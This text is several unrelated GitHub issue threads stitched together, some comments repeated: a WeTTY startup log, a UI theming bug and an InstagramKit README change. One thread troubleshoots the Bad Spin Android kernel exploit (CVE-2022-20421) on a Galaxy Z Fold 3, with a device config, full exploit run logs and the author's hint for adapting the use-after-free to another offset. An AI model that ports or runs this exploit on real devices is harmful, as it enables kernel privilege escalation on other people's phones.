Jan 19 21:52:07 localhost wetty[1622631]: {"meta":{"req":{"url":"/wetty/favicon.ico","headers":{"host":"<IP_ADDRESS>:3000","pragma":"no-cache","cache-control":"no-cache","sec-ch-ua":""Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"","sec-ch-ua-mobile":"?0","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36","accept":"image/avif,image/webp,image/apng,image/,/*;q=0.8","sec-fetch-site":"same-origin","sec-fetch-mode":"no-cors","sec-fetch-dest":"image","referer":"https://unrelated/wetty","accept-encoding":"gzip, deflate, br","accept-language":"en-US,en;q=0.9","cookie":"io=GVwWQd-EAuDh4ojJAAAH","x-forwarded-for":"<IP_ADDRESS>","x-forwarded-host":"unrelated","x-forwarded-server":"www.mytld.com","connection":"Keep-Alive"},"method":"GET","httpVersion":"1.1","originalUrl":"/wetty/favicon.ico","query":{}},"res":{"statusCode":200},"responseTime":4},"level":"info","message":"HTTP GET /wetty/favicon.ico","label":"Wetty","timestamp":"2021-01-20T02:52:07.413Z"}
Jan 19 21:52:08 localhost wetty[1622631]: {"pid":1720926,"address":"matt@localhost","level":"info","message":"Process Started on behalf of user","label":"Wetty","timestamp":"2021-01-20T02:52:08.626Z"}
Jan 19 21:52:11 localhost wetty[1622631]: {"code":127,"pid":1720926,"level":"info","message":"Process exited","label":"Wetty","timestamp":"2021-01-20T02:52:11.226Z"}

What you are experiencing is issue #308 . Downgrading should fix it.

What you are experiencing is issue #308 . Downgrading should fix it.

Thanks! I'll give it a shot

Thanks! I'll give it a shot

Downgrading worked for me... went down the rabbit hole of trying to git clone and try out the fix mentioned in master... failed pretty hard with dependencies though.  Will wait for 2.0.4 to be available in npm and go from there.

Downgrading worked for me... went down the rabbit hole of trying to git clone and try out the fix mentioned in master... failed pretty hard with dependencies though.  Will wait for 2.0.4 to be available in npm and go from there.


Not all elements are updating on settings changes

We may need to handle some global Restyle/Rebuild flag.

I agree with this opinion, on Win11 and Android devices, you have to set zoom to 50%-80% every time for it to display properly

Text editor and xyz are the main things that need to be fixed for this; xyz will require a major redesign of the 3d styling paradigm.

xyz is fixed in 6b257619fe57dc62d90173941b40f1994ee96ffd , using styler on the outer core widget for the background color and logic in Text2D that detects usage of standard font color and updates it accordingly.

texteditor histyle here: 5c74c765a

There are still some issues with scrollbars and text field cursors not updating on theme change. Also, we still need to redesign xyz to use updaters and plans, which will fully resolve that issue.

Note that the scrollbars also do not update in the interactive styling demo in the docs and demo due to their insulation from the normal updating process, so we may want to just implement NodeWalkDown on Frame for them so that they always update properly.

We fixed the scrollbars and cursors in #1339, so the only remaining issue is xyz, which is a separate issue (#1022).


Support Inner_Lock offset 512

I am trying the exploit on Galaxy Z Fold 3.
In the research paper, it is stated:
For the rest of the exploit we will use the dup2() func-
tion to reach this allocation. Using this method we can
support inner_lock offsets ≥ 512. This is acceptable for
us, as we did not encountered a smaller offset. Otherwise,
we would have used the fork() method

I am getting the following error:
[x] Found binder_proc's inner_lock offset: 512 (vuln_fd 64)

[x] Unsupported inner_lock offset: Must be >= 520 and aligned to 8.
[x] Exit.

device_configs[] = {
    {
        /* RP1A.200720.012.F926USQU1AUG8 */
        .name = "Galaxy Z Fold 3",
        .model = "SM-F926U",
        .android_version = 11,
        .android_security_patch.year = 2021,
        .android_security_patch.month = 7,
        .kernel_version = KERNEL_VERSION(5, 4, 61),
        .ram_offset = 0x28000000UL,
        .kimg_to_lm = samsung_kimg_to_lm,
        .find_kbase = scan_kbase,
    }
};

Attempting to override that check results in device crashing... the code always crashes on first 'iteration' and other times goes through many iterations before crashing. using ram offset of 0x28000000UL or 0x0, it seems the crash always occurs at:
==========================================
Bad Spin Exploit (CVE-2022-20421) by 0xkol
==========================================
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[17282:17282] New binder client: A
[17284:17284] New binder client: C
[17283:17283] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
C: Wait for A...
B: Searching for magic badcab1ebadcab1e....
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
***CRASH***

The ram_offset used was based on one of the default configs already provided in the code for Samsung Galaxy S22 (0x28000000UL). I downloaded the firmware for that device and double checked using mkbootimg to find ram_offset but it gave me an output of of 0x20000000. I checked my device's boot.img and it gave the same output.... I tried setting ram offset to 0x02000000 for libbadspin (although I'm not sure it was correct to do that) it did yield different output:
==========================================
Bad Spin Exploit (CVE-2022-20421) by 0xkol
==========================================
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[18396:18396] New binder client: C
[18394:18394] New binder client: A
[18395:18395] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Searching for magic badcab1ebadcab1e....
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction.
	All blocker threads joined.
offsetof(inner_lock, binder_proc) = 512
[x] Found binder_proc's inner_lock offset: 512 (vuln_fd 64)

[graveyard_process] pid = 18455
[pipe_process:18456] Pinned to CPU 0
[pipe_process:18457] Pinned to CPU 1
[pipe_process:18458] Pinned to CPU 2
[pipe_process:18460] Pinned to CPU 4
[pipe_process:18459] Pinned to CPU 3
[pipe_process:18462] Pinned to CPU 6
[pipe_process:18461] Pinned to CPU 5
[pipe_process:18463] Pinned to CPU 7
[fd_master_process] pid = 18466
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:18524] 30000 files sprayed
[shaper_process:18520] 30000 files sprayed
[shaper_process:18523] 30000 files sprayed
[shaper_process:18521] 30000 files sprayed
[shaper_process:18522] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=18526
[timer_master_process] Wait for C to enter spin_lock()
[18527:18527] New binder client: A
[18528:18528] New binder client: B
[18529:18529] New binder client: C
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done
***CRASH***

Hey, in practice it is possible to support such offset 512. However currently the exploit enters spin_lock() when the memory location already has been freed, and from my experiment, on offset 512 there's a garbage value (not 0x00000041), hence the crash. To adapt the exploit to offset 512 you need to enter spin_lock() when the memory is allocated as tty write buffer and then play with the timer threads. I did not pursue this in the current exploit.

Hey, in practice it is possible to support such offset 512. However currently the exploit enters spin_lock() when the memory location already has been freed, and from my experiment, on offset 512 there's a garbage value (not 0x00000041), hence the crash. To adapt the exploit to offset 512 you need to enter spin_lock() when the memory is allocated as tty write buffer and then play with the timer threads. I did not pursue this in the current exploit.

thank you for the response... I suppose I will close this as I certainly am not skilled enough to adapt this. I am still struggling to even determine proper ramdisk_offset lol. I may revisit another time, or try a firmware change and see if that gets me the proper offset

Hey, in practice it is possible to support such offset 512. However currently the exploit enters spin_lock() when the memory location already has been freed, and from my experiment, on offset 512 there's a garbage value (not 0x00000041), hence the crash. To adapt the exploit to offset 512 you need to enter spin_lock() when the memory is allocated as tty write buffer and then play with the timer threads. I did not pursue this in the current exploit.

do you know how I can obtain the ramdisk_offset value without permissions to read /proc/iomem?


Updated README: IKLoginScope* -> InstagramKitLoginScope*

@natan Please send Pull requests only to the dev branch.

@shyambhat Okay, done in #139.

+1

On 21-Aug-2015, at 12:45 am, Nathan Spindel<EMAIL_ADDRESS>wrote:
@shyambhat https://github.com/shyambhat Okay, done in #139 https://github.com/shyambhat/InstagramKit/pull/139.
—
Reply to this email directly or view it on GitHub https://github.com/shyambhat/InstagramKit/pull/137#issuecomment-133204652.